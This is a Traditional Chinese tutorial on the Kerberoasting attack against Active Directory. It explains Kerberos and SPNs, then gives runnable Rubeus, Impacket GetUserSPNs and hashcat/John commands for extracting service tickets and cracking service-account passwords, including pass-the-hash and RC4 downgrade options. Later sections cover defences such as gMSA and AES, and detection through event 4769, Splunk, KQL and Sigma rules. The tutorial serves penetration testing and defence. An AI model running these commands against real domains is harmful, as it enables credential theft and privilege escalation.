前言
Kerberoasting 是一種針對 Active Directory 環境的攻擊技術,攻擊者可以利用此技術取得服務帳戶的密碼雜湊值,並嘗試離線破解。這項攻擊技術自 2014 年由 Tim Medin 在 DerbyCon 首次公開以來,一直是滲透測試與紅隊演練中最常見的權限提升手法之一。
本文將深入探討 Kerberoasting 攻擊的原理、實作方式、防禦措施以及偵測方法。
一、Kerberos 認證協定基礎
1.1 Kerberos 協定概述
Kerberos 是一種網路認證協定,用於在非安全的網路環境中提供安全的身份驗證機制。在 Windows Active Directory 環境中,Kerberos 是預設的認證協定。
Kerberos 認證流程中的主要元件:
| 元件 | 說明 |
|---|
| KDC (Key Distribution Center) | 金鑰分發中心,通常由 Domain Controller 擔任 |
| AS (Authentication Service) | 認證服務,負責驗證使用者身份 |
| TGS (Ticket Granting Service) | 票據授予服務,負責發放服務票據 |
| TGT (Ticket Granting Ticket) | 票據授予票據,用於向 TGS 請求服務票據 |
| Service Ticket (ST) | 服務票據,用於存取特定服務 |
1.2 Kerberos 認證流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client │ │ KDC │ │ Service │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
│ 1. AS-REQ (使用者憑證) │ │
│─────────────────────────────>│ │
│ │ │
│ 2. AS-REP (TGT) │ │
│<─────────────────────────────│ │
│ │ │
│ 3. TGS-REQ (TGT + SPN) │ │
│─────────────────────────────>│ │
│ │ │
│ 4. TGS-REP (Service Ticket) │ │
│<─────────────────────────────│ │
│ │ │
│ 5. AP-REQ (Service Ticket) │
│────────────────────────────────────────────────────────────>│
│ │ │
│ 6. AP-REP (驗證成功) │
│<────────────────────────────────────────────────────────────│
│ │ │
|
認證步驟說明:
- AS-REQ:Client 向 KDC 的 AS 發送認證請求,包含使用者名稱
- AS-REP:AS 驗證使用者後,回傳使用使用者密碼雜湊加密的 TGT
- TGS-REQ:Client 使用 TGT 向 TGS 請求特定服務的票據
- TGS-REP:TGS 回傳使用服務帳戶密碼雜湊加密的 Service Ticket
- AP-REQ:Client 向目標服務提交 Service Ticket
- AP-REP:服務驗證票據後允許存取
二、SPN (Service Principal Name) 概念
2.1 什麼是 SPN?
SPN (Service Principal Name) 是 Kerberos 協定中用於唯一識別服務實例的識別碼。當使用者需要存取特定服務時,會使用 SPN 來請求對應的服務票據。
2.2 SPN 格式
SPN 的標準格式如下:
1
| serviceclass/host:port/servicename
|
常見的 SPN 範例:
1
2
3
4
5
6
7
8
9
10
11
| # MSSQL 服務
MSSQLSvc/sqlserver.corp.local:1433
# HTTP 服務
HTTP/webserver.corp.local
# Exchange 服務
exchangeMDB/mailserver.corp.local
# 自訂服務
CustomApp/appserver.corp.local:8080
|
2.3 查詢 SPN
使用 PowerShell 查詢網域中的 SPN:
1
2
3
4
5
6
7
8
| # 查詢所有具有 SPN 的使用者帳戶
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# 使用 setspn 命令查詢
setspn -Q */*
# 查詢特定使用者的 SPN
setspn -L <username>
|
使用 LDAP 查詢:
1
2
3
4
5
| # 使用 LDAP 篩選器查詢
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$results = $search.FindAll()
$results | ForEach-Object { $_.Properties["samaccountname"] }
|
三、Kerberoasting 攻擊原理
3.1 攻擊概念
Kerberoasting 攻擊的核心概念是利用 Kerberos 協定的設計特性:
- 任何經過驗證的網域使用者都可以請求任何服務的 Service Ticket
- Service Ticket 的一部分是使用服務帳戶的密碼雜湊 (NTLM Hash) 進行加密
- 攻擊者取得 Service Ticket 後,可以離線破解服務帳戶密碼
3.2 為什麼 Kerberoasting 有效?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ┌─────────────────────────────────────────────────────────────────────┐
│ Kerberoasting 攻擊流程 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 攻擊者取得任意網域使用者權限 │
│ │ │
│ ▼ │
│ 2. 列舉所有註冊 SPN 的服務帳戶 │
│ │ │
│ ▼ │
│ 3. 請求這些服務的 Service Ticket (TGS-REQ) │
│ │ │
│ ▼ │
│ 4. KDC 回傳使用服務帳戶密碼雜湊加密的票據 (TGS-REP) │
│ │ │
│ ▼ │
│ 5. 攻擊者匯出票據並進行離線密碼破解 │
│ │ │
│ ▼ │
│ 6. 成功破解後取得服務帳戶明文密碼 │
│ │
└─────────────────────────────────────────────────────────────────────┘
|
3.3 高價值目標
以下類型的服務帳戶是 Kerberoasting 的高價值目標:
- 具有高權限的服務帳戶(如 Domain Admins 群組成員)
- 密碼強度較弱的服務帳戶
- 密碼長期未更換的服務帳戶
- MSSQL、Exchange、SharePoint 等重要應用程式的服務帳戶
四、使用 Rubeus 進行攻擊
Rubeus 是一個功能強大的 C# 工具,專門用於 Kerberos 相關的攻擊與操作。
4.1 列舉可進行 Kerberoasting 的帳戶
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 列舉所有具有 SPN 的使用者帳戶
Rubeus.exe kerberoast /stats
# 輸出範例:
# [*] Total kerberoastable users : 5
#
# ----------------------------------------
# | Supported Coverage | Count |
# ----------------------------------------
# | RC4_HMAC_MD5 | 3 |
# | AES128_CTS_HMAC | 1 |
# | AES256_CTS_HMAC | 1 |
# ----------------------------------------
|
4.2 執行 Kerberoasting 攻擊
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # 針對所有可 Kerberoast 的帳戶請求票據
Rubeus.exe kerberoast
# 輸出票據為 hashcat 格式
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# 針對特定使用者
Rubeus.exe kerberoast /user:svc_mssql /format:hashcat
# 針對特定 SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/sqlserver.corp.local
# 強制使用 RC4 加密(較容易破解)
Rubeus.exe kerberoast /tgtdeleg
# 使用已取得的 TGT 進行 Kerberoasting
Rubeus.exe kerberoast /ticket:<base64_TGT>
|
4.3 Rubeus 輸出範例
1
2
3
4
5
6
7
8
9
10
| [*] Action: Kerberoasting
[*] NOTICE: AES://SHA1 downgrade is enabled
[*] Target User : svc_mssql
[*] Target Domain : corp.local
[*] Target DC : DC01.corp.local
[*] SPN : MSSQLSvc/sqlserver.corp.local:1433
[*] Hash : $krb5tgs$23$*svc_mssql$corp.local$MSSQLSvc/sqlserver.corp.local:1433*$
A1B2C3D4E5F6....[truncated]....F6E5D4C3B2A1
|
4.4 進階選項
1
2
3
4
5
6
7
8
| # 僅針對 admincount=1 的高權限帳戶
Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat
# 指定輸出加密類型
Rubeus.exe kerberoast /format:hashcat /aes
# 使用不同的網域
Rubeus.exe kerberoast /domain:child.corp.local /dc:DC02.child.corp.local
|
五、使用 Impacket GetUserSPNs 進行攻擊
Impacket 是一個 Python 工具套件,提供多種網路協定的實作。GetUserSPNs.py 是其中專門用於 Kerberoasting 的工具。
5.1 基本用法
1
2
3
4
5
6
| # 列舉具有 SPN 的使用者(不請求票據)
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100
# 或使用完整路徑
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py \
corp.local/user:password -dc-ip 192.168.1.100
|
5.2 請求服務票據
1
2
3
4
5
6
7
8
9
10
| # 請求所有服務票據
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100 -request
# 將票據輸出到檔案
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100 \
-request -outputfile kerberoast_hashes.txt
# 針對特定使用者
impacket-GetUserSPNs corp.local/user:password -dc-ip 192.168.1.100 \
-request-user svc_mssql
|
5.3 使用 NTLM Hash 認證
1
2
3
| # 使用 Pass-the-Hash
impacket-GetUserSPNs corp.local/user -hashes :NTLM_HASH \
-dc-ip 192.168.1.100 -request
|
5.4 輸出範例
1
2
3
4
5
6
7
8
9
10
11
| Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------------------- ---------- ------------------------------------------------- -------------------------- -------------------------- ----------
MSSQLSvc/sqlserver.corp.local:1433 svc_mssql CN=Domain Admins,CN=Users,DC=corp,DC=local 2024-01-15 10:30:00.000000 2025-02-19 14:20:00.000000
HTTP/webserver.corp.local svc_web 2023-06-20 08:15:00.000000 2025-02-18 09:45:00.000000
exchangeMDB/mailserver.corp.local svc_exch CN=Exchange Servers,CN=Users,DC=corp,DC=local 2022-03-10 16:00:00.000000 2025-02-19 16:30:00.000000
$krb5tgs$23$*svc_mssql$CORP.LOCAL$corp.local/svc_mssql*$a1b2c3d4...[hash data]...
$krb5tgs$23$*svc_web$CORP.LOCAL$corp.local/svc_web*$e5f6g7h8...[hash data]...
$krb5tgs$23$*svc_exch$CORP.LOCAL$corp.local/svc_exch*$i9j0k1l2...[hash data]...
|
5.5 從 Linux 執行 Kerberoasting(無密碼情境)
如果已經取得有效的 Kerberos 票據:
1
2
3
| # 使用 ccache 檔案進行認證
export KRB5CCNAME=/tmp/krb5cc_user
impacket-GetUserSPNs corp.local/user -k -no-pass -dc-ip 192.168.1.100 -request
|
六、使用 hashcat 破解服務票據
6.1 識別雜湊類型
Kerberos 服務票據的雜湊格式:
| 加密類型 | hashcat 模式 | 說明 |
|---|
| RC4-HMAC-MD5 (etype 23) | 13100 | 較容易破解,較舊的加密方式 |
| AES128-CTS-HMAC-SHA1 (etype 17) | 19600 | 較安全,需要更多運算資源 |
| AES256-CTS-HMAC-SHA1 (etype 18) | 19700 | 最安全,破解難度最高 |
6.2 使用 hashcat 破解 RC4 加密的票據
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 基本破解指令(使用字典)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# 使用規則增強字典攻擊
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# 顯示破解進度
hashcat -m 13100 kerberoast_hashes.txt --status --status-timer=30
# 使用暴力破解
hashcat -m 13100 kerberoast_hashes.txt -a 3 ?a?a?a?a?a?a?a?a
# 混合攻擊(字典 + 規則 + 掩碼)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-a 6 ?d?d?d?d
|
6.3 破解 AES 加密的票據
1
2
3
4
5
| # AES128
hashcat -m 19600 aes128_hashes.txt /usr/share/wordlists/rockyou.txt
# AES256
hashcat -m 19700 aes256_hashes.txt /usr/share/wordlists/rockyou.txt
|
6.4 最佳化破解效能
1
2
3
4
5
6
7
8
9
10
11
12
| # 使用工作負載設定檔
hashcat -m 13100 hashes.txt wordlist.txt -w 3
# 設定 GPU 溫度限制
hashcat -m 13100 hashes.txt wordlist.txt --gpu-temp-abort=90
# 使用多個 GPU
hashcat -m 13100 hashes.txt wordlist.txt -d 1,2,3
# 儲存工作階段以便繼續
hashcat -m 13100 hashes.txt wordlist.txt --session=kerberoast
hashcat --session=kerberoast --restore
|
6.5 查看破解結果
1
2
3
4
5
| # 顯示已破解的密碼
hashcat -m 13100 hashes.txt --show
# 輸出格式:hash:password
# $krb5tgs$23$*svc_mssql$...:Password123!
|
6.6 使用 John the Ripper 作為替代方案
1
2
3
4
5
| # 使用 John the Ripper 破解
john --format=krb5tgs kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 顯示破解結果
john --show kerberoast_hashes.txt
|
七、防禦措施與最佳實務
7.1 密碼策略強化
使用強密碼
1
2
3
4
5
6
7
8
| # 建議的服務帳戶密碼策略
# - 最小長度:25 個字元以上
# - 包含大小寫字母、數字、特殊字元
# - 使用密碼產生器產生隨機密碼
# 使用 PowerShell 產生強密碼
Add-Type -AssemblyName System.Web
[System.Web.Security.Membership]::GeneratePassword(30, 10)
|
定期更換密碼
1
2
3
| # 設定服務帳戶密碼過期策略
Set-ADUser -Identity svc_mssql -PasswordNeverExpires $false
Set-ADUser -Identity svc_mssql -ChangePasswordAtLogon $true
|
7.2 使用 Group Managed Service Accounts (gMSA)
gMSA 是防禦 Kerberoasting 最有效的方法之一:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 建立 KDS 根金鑰(僅需執行一次)
Add-KdsRootKey -EffectiveImmediately
# 建立 gMSA
New-ADServiceAccount -Name "gMSA_MSSQL" `
-DNSHostName "gmsa_mssql.corp.local" `
-PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers" `
-ServicePrincipalNames "MSSQLSvc/sqlserver.corp.local:1433"
# 安裝 gMSA 到目標伺服器
Install-ADServiceAccount -Identity "gMSA_MSSQL"
# 驗證 gMSA
Test-ADServiceAccount -Identity "gMSA_MSSQL"
|
gMSA 的優點:
- 密碼自動產生(240 個字元的隨機密碼)
- 密碼自動輪換(預設每 30 天)
- 無法被人為設定弱密碼
7.3 限制服務帳戶權限
1
2
3
4
5
6
| # 確保服務帳戶不在高權限群組中
Remove-ADGroupMember -Identity "Domain Admins" -Members "svc_mssql"
# 使用最小權限原則
# 建立專用的服務帳戶群組
New-ADGroup -Name "Service_Accounts" -GroupScope Global -GroupCategory Security
|
7.4 啟用 AES 加密
1
2
3
4
5
| # 設定服務帳戶支援 AES 加密
Set-ADUser -Identity svc_mssql -KerberosEncryptionType AES128,AES256
# 驗證加密類型設定
Get-ADUser -Identity svc_mssql -Properties msDS-SupportedEncryptionTypes
|
7.5 監控服務帳戶
1
2
3
4
5
6
7
8
| # 定期稽核具有 SPN 的帳戶
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties `
ServicePrincipalName, `
PasswordLastSet, `
Enabled, `
MemberOf |
Select-Object Name, ServicePrincipalName, PasswordLastSet, Enabled |
Export-Csv "SPN_Audit.csv" -NoTypeInformation
|
7.6 防禦措施清單
| 措施 | 優先級 | 說明 |
|---|
| 使用 gMSA | 高 | 自動管理密碼,無法被破解 |
| 強密碼策略 | 高 | 25+ 字元,複雜度要求 |
| 定期更換密碼 | 中 | 至少每 90 天更換 |
| 啟用 AES 加密 | 中 | 增加破解難度 |
| 最小權限原則 | 高 | 降低帳戶被濫用的影響 |
| 定期稽核 | 中 | 識別高風險服務帳戶 |
八、偵測方法與日誌分析
8.1 Windows 事件日誌
啟用進階稽核
1
2
| # 啟用 Kerberos 服務票據作業稽核
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
|
關鍵事件 ID
| 事件 ID | 說明 | 重要性 |
|---|
| 4769 | Kerberos 服務票據請求 | 高 |
| 4768 | Kerberos TGT 請求 | 中 |
| 4770 | Kerberos 服務票據更新 | 低 |
8.2 偵測 Kerberoasting 的指標
事件 4769 分析
1
2
3
4
5
6
7
8
9
10
11
| <!-- 可疑的 Kerberoasting 活動特徵 -->
<Event>
<EventID>4769</EventID>
<EventData>
<!-- 注意 Ticket Encryption Type -->
<Data Name="TicketEncryptionType">0x17</Data> <!-- RC4 = 可疑 -->
<Data Name="TicketOptions">0x40810000</Data>
<Data Name="ServiceName">MSSQLSvc/sqlserver.corp.local</Data>
<Data Name="TargetUserName">svc_mssql@CORP.LOCAL</Data>
</EventData>
</Event>
|
偵測指標:
- 短時間內大量 4769 事件
- Ticket Encryption Type 為 0x17 (RC4) 而非 0x12 (AES256)
- 單一使用者請求多個不同服務的票據
- 來自非正常工作站的票據請求
8.3 使用 PowerShell 進行日誌分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # 查詢可疑的 Kerberos 票據請求
$startTime = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4769
StartTime = $startTime
} | Where-Object {
$_.Properties[5].Value -eq '0x17' # RC4 加密
} | Group-Object { $_.Properties[0].Value } |
Where-Object { $_.Count -gt 10 } |
Sort-Object Count -Descending
# 偵測短時間內大量票據請求
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4769
StartTime = $startTime
} | Group-Object {
$_.Properties[6].Value # 請求者帳戶
} | Where-Object { $_.Count -gt 20 } |
Format-Table Name, Count -AutoSize
|
8.4 SIEM 偵測規則範例
Splunk 查詢
1
2
3
4
5
6
7
8
9
10
11
| index=windows EventCode=4769
| eval EncryptionType=case(
Ticket_Encryption_Type=="0x17", "RC4",
Ticket_Encryption_Type=="0x12", "AES256",
Ticket_Encryption_Type=="0x11", "AES128",
true(), "Other"
)
| where EncryptionType="RC4"
| stats count by Account_Name, Client_Address, Service_Name
| where count > 10
| sort -count
|
Microsoft Sentinel (KQL)
1
2
3
4
5
6
7
8
| SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize RequestCount = count(),
ServiceList = make_set(ServiceName)
by TargetUserName, IpAddress, bin(TimeGenerated, 1h)
| where RequestCount > 10
| order by RequestCount desc
|
8.5 Sigma 規則
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| title: Potential Kerberoasting Activity
id: e45a8d16-9d8e-4e3f-9f8a-1234567890ab
status: experimental
description: Detects potential Kerberoasting activity based on service ticket requests
author: Security Team
date: 2025/02/20
references:
- https://attack.mitre.org/techniques/T1558/003/
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
filter:
ServiceName|endswith: '$' # 排除電腦帳戶
condition: selection and not filter
timeframe: 5m
threshold:
count: 10
field: AccountName
falsepositives:
- Legacy applications requiring RC4
- Service account enumeration scripts
level: medium
tags:
- attack.credential_access
- attack.t1558.003
|
8.6 網路層偵測
1
2
3
4
5
6
| # 使用 Wireshark 過濾 Kerberos TGS-REQ 流量
kerberos.msg_type == 12 && kerberos.etype == 23
# 使用 tshark 命令列分析
tshark -r capture.pcap -Y "kerberos.msg_type == 12" \
-T fields -e kerberos.cname -e kerberos.sname -e kerberos.etype
|
8.7 建立偵測基準線
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # 建立正常服務票據請求的基準線
# 記錄每個使用者/工作站的正常票據請求模式
$baselineScript = {
$events = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4769
StartTime = (Get-Date).AddDays(-30)
}
$baseline = $events | Group-Object {
"$($_.Properties[0].Value)|$($_.Properties[6].Value)"
} | ForEach-Object {
[PSCustomObject]@{
ServiceAccount = $_.Name.Split('|')[0]
Requester = $_.Name.Split('|')[1]
AverageDaily = [math]::Round($_.Count / 30, 2)
}
}
$baseline | Export-Csv "Kerberos_Baseline.csv" -NoTypeInformation
}
|
總結
Kerberoasting 是一種強大且難以防禦的攻擊技術,因為它利用的是 Kerberos 協定的正常功能。有效的防禦需要多層次的策略:
- 預防:使用 gMSA、強密碼、AES 加密
- 偵測:監控事件 4769、建立基準線、使用 SIEM
- 回應:定期稽核服務帳戶、立即更換被入侵的密碼
最重要的是,組織應該定期進行安全評估,包括模擬 Kerberoasting 攻擊,以驗證防禦措施的有效性。
參考資源